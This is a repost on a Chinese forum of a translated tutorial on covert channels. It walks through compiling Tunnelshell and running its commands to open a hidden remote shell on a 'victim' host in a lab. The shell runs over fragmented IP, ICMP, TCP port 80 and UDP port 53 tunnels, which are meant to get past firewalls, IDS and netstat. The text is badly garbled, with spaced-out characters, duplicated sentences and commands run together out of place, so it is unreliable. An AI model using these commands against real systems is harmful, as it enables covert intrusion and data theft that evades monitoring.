搜索

[14075] 2019-05-06_通过无法检测到的网络（CovertChannel）从目标主机获取数据

文档创建者：s7ckTeam
浏览次数：22
最后更新：2025-01-18
2019-05-06_通过无法检测到的网络（CovertChannel）从目标主机获取数据 通 过 无 法 检 测 到 的 网 络 （ C o v e r t   C h a n n e l ） 从 目 标 主 机 获 取 数 据 s e c i s t   F r e e B u f   2 0 1 9 - 0 5 - 0 6 通 常 ， 黑 客 会 使 用 隐 蔽 网 络 来 躲 避 防 火 墙 和 通 常 ， 黑 客 会 使 用 隐 蔽 网 络 来 躲 避 防 火 墙 和 I D S 等 。 在 本 文 中 ， 你 将 学 习 如 何 通 过 不 可 检 测 的 网 络 从 目 标 主 机 等 。 在 本 文 中 ， 你 将 学 习 如 何 通 过 不 可 检 测 的 网 络 从 目 标 主 机 窃 取 数 据 。 这 种 类 型 的 网 络 被 称 为 隐 蔽 信 道 ， 而 这 些 流 量 在 网 络 监 控 设 备 窃 取 数 据 。 这 种 类 型 的 网 络 被 称 为 隐 蔽 信 道 ， 而 这 些 流 量 在 网 络 监 控 设 备 / 应 用 和 网 络 管 理 员 看 来 像 是 一 般 的 正 应 用 和 网 络 管 理 员 看 来 像 是 一 般 的 正 常 流 量 。 两 个 端 点 用 户 可 以 利 用 隐 蔽 信 道 ， 进 行 无 法 被 检 测 到 的 网 络 通 信 。 常 流 量 。 两 个 端 点 用 户 可 以 利 用 隐 蔽 信 道 ， 进 行 无 法 被 检 测 到 的 网 络 通 信 。 红 队 通 过 合 法 的 网 络 使 用 隐 蔽 信 道 在 红 队 活 动 中 进 行 数 据 泄 露 ， 数 据 泄 漏 是 在 两 个 端 点 之 间 秘 密 共 享 数 据 的 过 程 。 声 明 ： 本 文 仅 用 于 技 术 探 讨 ， 严 禁 用 于 其 他 用 途 。 声 明 ： 本 文 仅 用 于 技 术 探 讨 ， 严 禁 用 于 其 他 用 途 。 什 么 是 什 么 是 隐 蔽 信 道 （ 隐 蔽 信 道 （ c o v e r t   c h a n n e l ） ？ ） ？ 隐 蔽 一 词 意 味 着 “ 隐 藏 或 不 可 检 测 ” ， 而 信 道 是 “ 通 信 模 式 ” ， 因 此 隐 蔽 信 道 表 示 不 可 检 测 的 通 信 网 络 。 了 解 加 密 通 信 和 隐 蔽 通 信 之 间 的 区 别 非 常 重 要 。 在 隐 蔽 通 信 中 ， 数 据 流 被 未 经 授 权 的 一 方 篡 改 和 持 久 。 然 而 ， 加 密 通 信 并 不 掩 盖 通 过 加 密 在 两 个 端 点 之 间 传 输 的 数 据 进 行 通 信 的 事 实 。 c o v e r t   c h a n n e l   的 类 型 的 类 型 网 络 隐 蔽 存 储 信 道 ： 网 络 隐 蔽 存 储 信 道 ： 发 送 者 直 接 或 间 接 些 目 标 值 ， 接 收 者 直 接 或 间 接 接 读 目 标 值 。 网 络 隐 蔽 时 间 信 道 ： 网 络 隐 蔽 时 间 信 道 ： 发 送 者 通 过 时 域 上 调 制 使 用 资 源 （ 例 如 C P U ） 发 送 信 息 ， 接 收 者 能 够 观 测 到 并 对 信 息 进 行 解 码 。 与 存 储 隐 蔽 信 道 相 比 ， 时 间 隐 蔽 信 道 又 称 为 无 记 忆 通 道 ， 它 不 能 长 久 存 储 信 息 。 发 送 者 发 送 的 信 息 接 收 者 必 须 及 时 接 受 ， 否 则 传 送 的 信 息 将 会 消 失 。 使 用 使 用   T u n n e l s h e l l   进 行 隐 蔽 信 道 攻 击 进 行 隐 蔽 信 道 攻 击 几 乎 可 以 使 用 任 何 协 议 来 建 立 隐 蔽 信 道 。 绝 大 多 数 隐 蔽 信 道 研 究 都 是 基 于 第 3 层 （ 网 络 ） 和 第 4 层 （ 传 输 ） 协 议 ， 如 I C M P ， I P 和 T C P 。 经 常 使 用 的 还 有 第 7 层 （ 应 用 ） 协 议 诸 如 H T T P 和 D N S 。 这 种 机 制 用 于 在 不 提 醒 网 络 防 火 墙 和 I D S 的 情 况 下 传 送 信 息 ， 而 且 n e t s t a t 无 法 检 测 到 。 T u n n e l s h e l l   简 介 简 介 T u n n e l s h e l l 是 一 个 用 C 编 写 的 程 序 适 用 于 L i n u x 用 户 ， 它 使 用 客 户 端   -   服 务 器 范 例 。 服 务 器 打 开 / b i n / s h 客 户 端 可 以 通 过 虚 拟 隧 道 进 行 访 问 。 它 支 持 多 种 协 议 ， 包 括 T C P ， U D P ， I C M P 和 R a w I P 。 此 外 ， 数 据 包 可 以 分 段 处 理 以 躲 避 防 火 墙 和 I D S 的 检 测 。 实 验 环 境 实 验 环 境 服 务 器 （ K a l i   L i n u x ） 客 户 端 （ U b u n t u 1 8 . 0 4 ） T u n n e l s h e l l 这 里 ， 假 设 我 们 已 经 通 过 c 2 服 务 器 与 受 害 者 机 器 建 立 了 会 话 。 现 在 ， 我 们 需 要 为 数 据 泄 露 创 建 一 个 隐 藏 的 信 道 ， 因 此 我 们 需 要 在 两 个 端 点 上 安 装 t u n n e l s h e l l 。
下 载 后 ， 解 压 缩 文 件 并 进 行 编 译 ， 如 下 所 示 ： 同 样 ， 在 另 一 个 端 点 （ 受 害 者 的 机 器 ） 重 复 相 同 的 操 作 ， 完 成 后 在 终 端 中 执 行 以 下 命 令 ， 打 开 服 务 器 的 信 道 （ A t t a c k e r ） 。 默 认 情 况 下 ， 它 会 发 送 分 段 数 据 包 ， 该 数 据 包 会 在 目 标 端 点 重 组 以 躲 避 防 火 墙 和 I D S 。 现 在 要 与 t u n n e l s h e l l 连 接 ， 我 们 需 要 在 服 务 器 （ 攻 击 者 的 机 器 ） 上 执 行 以 下 命 令 ， 该 命 令 将 建 立 用 于 数 据 泄 露 的 隐 蔽 信 道 。 语 法 :   . / t u n n e l   - i   - d   < 包 发 送 延 迟 >   - s   - t   - o   - p   - m   - a   < 受 害 者   I P > f r a g ： ： 使 用 I P v 4 分 段 数 据 包 来 封 装 数 据 。 当 某 些 路 由 器 和 防 火 墙 （ 如 C i s c o 路 由 器 和 默 认 L i n u x 安 装 ） 收 到 第 四 层 没 有 标 头 的 分 段 数 据 包 时 ， 即 使 它 们 有 拒 绝 它 的 规 则 ， 也 会 允 许 它 们 通 过 。 可 以 看 到 它 已 成 功 连 接 到 1 0 . 1 0 . 1 0 . 2 ， 我 们 将 访 问 受 害 者 机 器 的 s h e l l 。 t a r   x v f z   t u n n e l s h e l l _ 2 . 3 . t g z m a k e s u d o   . / t u n n e l d . / t u n n e l   - t   f r a g   1 0 . 1 0 . 1 0 . 2
正 如 我 说 的 那 样 ， 如 果 你 使 用 n e t w o r k   s t a t i c s 检 查 网 络 连 接 状 态 ， 你 将 不 会 看 到 任 何 关 于 t u n n e l s h e l l 的 进 程 I D 。 从 下 图 中 你 可 以 看 到 ， 在 p s 命 令 的 帮 助 下 我 已 经 检 查 了 t u n n e l s h e l l 的 进 程 ， 并 尝 试 通 过 n e t s t a t 检 查 其 进 程 I D 。 让 我 们 通 过 W i r e s h a r k 来 看 看 1 0 . 1 0 . 1 0 . 1 （ 攻 击 者 的 I P ） 和 1 0 .   1 0 . 1 0 . 2 （ 受 害 者 的 I P ） 之 间 产 生 的 网 络 流 量 。 网 络 流 在 两 个 端 点 之 间 看 起 来 像 是 一 般 的 流 量 ， 但 如 果 正 确 监 视 ， 则 网 络 管 理 员 可 以 嗅 探 到 数 据 包 。 正 如 你 所 看 到 的 ， W i r e s h a r k 捕 获 了 隐 蔽 的 流 量 并 嗅 探 到 了 在 两 个 端 点 设 备 之 间 传 输 的 数 据 。 p s   | g r e p   . t u n n e l d n e t s t a t   – a n o
隐 蔽 的 隐 蔽 的   I C M P   信 道 信 道 我 们 知 道 P i n g 是 使 用 I C M P 通 信 的 ， 通 过 发 出 i c m p   e c h o   r e q u e s t 包 ， 收 到 i c m p     e c h o   r e p l y 包 在 两 台 主 机 之 间 建 立 连 接 。 因 此 ， 执 行 以 下 命 令 ： 现 在 要 与 t u n n e l s h e l l 连 接 ， 我 们 需 要 在 服 务 器 （ 攻 击 者 的 机 器 ） 上 执 行 以 下 命 令 ， 该 命 令 将 建 立 用 于 数 据 泄 露 的 隐 蔽 信 道 。 正 如 你 看 到 的 它 已 成 功 连 接 到 1 0 . 1 0 . 1 0 . 2 ， 并 且 攻 击 者 能 够 访 问 受 害 者 计 算 机 的 s h e l l 。 同 样 ， 如 果 你 通 过 W i r e s h a r k 捕 获 流 量 ， 那 么 你 将 会 注 意 到 I C M P   e c h o   r e q u e s t 和 r e p l y 数 据 包 正 在 两 个 端 点 之 间 传 输 。 如 果 你 尝 试 分 析 这 些 数 据 包 ， 那 么 你 将 能 够 看 到 哪 种 p a y l o a d 被 作 为 I C M P 数 据 正 在 传 输 。 隐 蔽 的 隐 蔽 的   H T T P   信 道 信 道 s u d o   . / t u n n e l d   - t   i c m p   - m   e c h o - r e p l y ,   e c h o . / t u n n e l   - t   i c m p   - m   e c h o - r e p l y , e c h o   1 0 . 1 0 . 1 0 . 2
在 没 有 三 步 握 手 的 情 况 下 它 建 立 了 一 个 虚 拟 的 T C P 连 接 ， 也 不 绑 定 任 何 端 口 ， 因 此 你 可 以 使 用 已 经 由 另 一 个 进 程 使 用 的 端 口 ， 执 行 以 下 命 令 ： 现 在 要 与 t u n n e l s h e l l 连 接 ， 我 们 需 要 在 服 务 器 （ 攻 击 者 的 机 器 ） 上 执 行 以 下 命 令 ， 该 命 令 将 建 立 用 于 数 据 泄 露 的 隐 蔽 信 道 。 正 如 你 看 到 的 ， 它 已 成 功 连 接 到 了 1 0 . 1 0 . 1 0 . 2 ， 并 且 攻 击 者 能 够 再 次 访 问 受 害 者 计 算 机 的 s h e l l 。 通 过 网 络 流 量 你 可 以 看 到 源 和 目 标 之 间 建 立 了 t c p 通 信 ， 但 并 没 有 真 正 的 三 步 握 手 。 隐 蔽 的 隐 蔽 的   D N S   信 道 信 道 要 建 立 D N S 隐 蔽 信 道 ， 我 们 需 要 在 两 个 端 点 机 器 上 运 行 U D P 隧 道 模 式 。 因 此 ， 在 受 害 者 的 机 器 上 我 们 执 行 以 下 命 令 ： 同 样 ， 在 你 的 （ 攻 击 者 ） 机 器 上 执 行 以 下 命 令 以 连 接 隧 道 。 s u d o     . / t u n n e l d   - t   t c p   - p   8 0 , 2 0 0 0 . / t u n n e l   - t   t c p   - p   8 0 , 2 0 0 0   1 0 . 1 0 . 1 0 . 2 s u d o   . / t u n n e l d   - t   u d p   - p   5 3 , 2 0 0 0 . / t u n n e l   - t   u d p   - p   5 3 , 2 0 0 0   1 0 . 1 0 . 1 0 . 2
正 如 你 所 看 到 的 ， D N S 错 误 数 据 包 包 含 在 两 个 端 点 机 器 之 间 传 输 的 数 据 。 总 结 总 结 隐 蔽 信 道 在 数 据 泄 露 时 不 会 发 送 加 密 的 数 据 包 ， 因 此 它 很 容 易 被 嗅 探 到 ， 网 络 管 理 员 可 以 轻 松 的 进 行 数 据 丢 失 防 护 和 风 险 管 理 。 * 参 考 来 源 ： 参 考 来 源 ： h a c k i n g a r t i c l e s ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 推 荐 阅 读

阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理